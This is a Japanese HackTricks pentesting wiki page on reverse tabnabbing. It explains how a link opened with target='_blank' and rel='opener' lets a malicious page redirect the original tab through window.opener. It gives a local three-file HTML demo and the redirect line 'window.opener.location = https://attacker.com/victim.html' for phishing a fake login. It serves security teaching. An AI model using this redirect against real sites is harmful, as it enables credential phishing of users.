hacktricks/pentesting-web/reverse-tab-nabbing.md
2023-07-07 23:42:27 +00:00

8 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

説明

攻撃者が被害者によってクリックされる予定の**<aタグのhref引数を制御できる状況で、その<aタグにはtarget="_blank" rel="opener"属性が付いています。この場合、攻撃者はこのリンクを自分の制御下にあるウェブ(悪意のあるウェブサイト)に向けます。そして、被害者がリンクをクリックして攻撃者のウェブサイトにアクセスすると、この悪意のあるウェブサイトwindow.openerというJavaScriptオブジェクトを介して元のページ制御することができます。
もしページに
rel="opener"がなく、target="_blank"があり、rel="noopener"**もない場合、それも脆弱性の可能性があります。

この挙動を悪用する一般的な方法は、window.opener.location = https://attacker.com/victim.htmlというコードを使用して、元のウェブの場所を攻撃者が制御するウェブに変更することです。この攻撃者が制御するウェブは、元のウェブサイトのログインフォーム模倣し、ユーザーに資格情報を要求することができます。

ただし、攻撃者が今や元のウェブサイトのウィンドウオブジェクトを制御できるようになったため、他の方法でも悪用することができ、よりステルス性の高い攻撃を行うことができますたとえば、JavaScriptイベントを変更して情報を彼が制御するサーバーに外部流出させるなど

概要

バックリンクあり

予防属性が使用されていない場合の親ページと子ページの間のリンク:

バックリンクなし

予防属性が使用されている場合の親ページと子ページの間のリンク:

以下のページをフォルダに作成し、python3 -m http.serverでウェブサーバーを実行します。
その後、http://127.0.0.1:8000/vulnerable.htmlにアクセスし、リンクをクリックして元のウェブサイトのURLがどのように変化するかを確認してください。

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

アクセス可能なプロパティ

悪意のあるサイトは、クロスオリジン(クロスドメイン)アクセスの場合、以下のプロパティにのみアクセスできます。これらは、opener JavaScriptオブジェクト参照実際にはwindow JavaScriptクラスのインスタンスへの参照から取得できます。

  • opener.closed:ウィンドウが閉じられたかどうかを示すブール値を返します。
  • opener.frames現在のウィンドウ内のすべてのiframe要素を返します。
  • opener.length現在のウィンドウ内のiframe要素の数を返します。
  • opener.opener:ウィンドウを作成したウィンドウへの参照を返します。
  • opener.parent:現在のウィンドウの親ウィンドウを返します。
  • opener.self:現在のウィンドウを返します。
  • opener.top:最上位のブラウザウィンドウを返します。

ドメインが同じ場合、悪意のあるサイトはwindow JavaScriptオブジェクト参照によって公開されるすべてのプロパティにアクセスできます。

予防策

予防策については、HTML5チートシートに文書化されています。

参考文献

{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥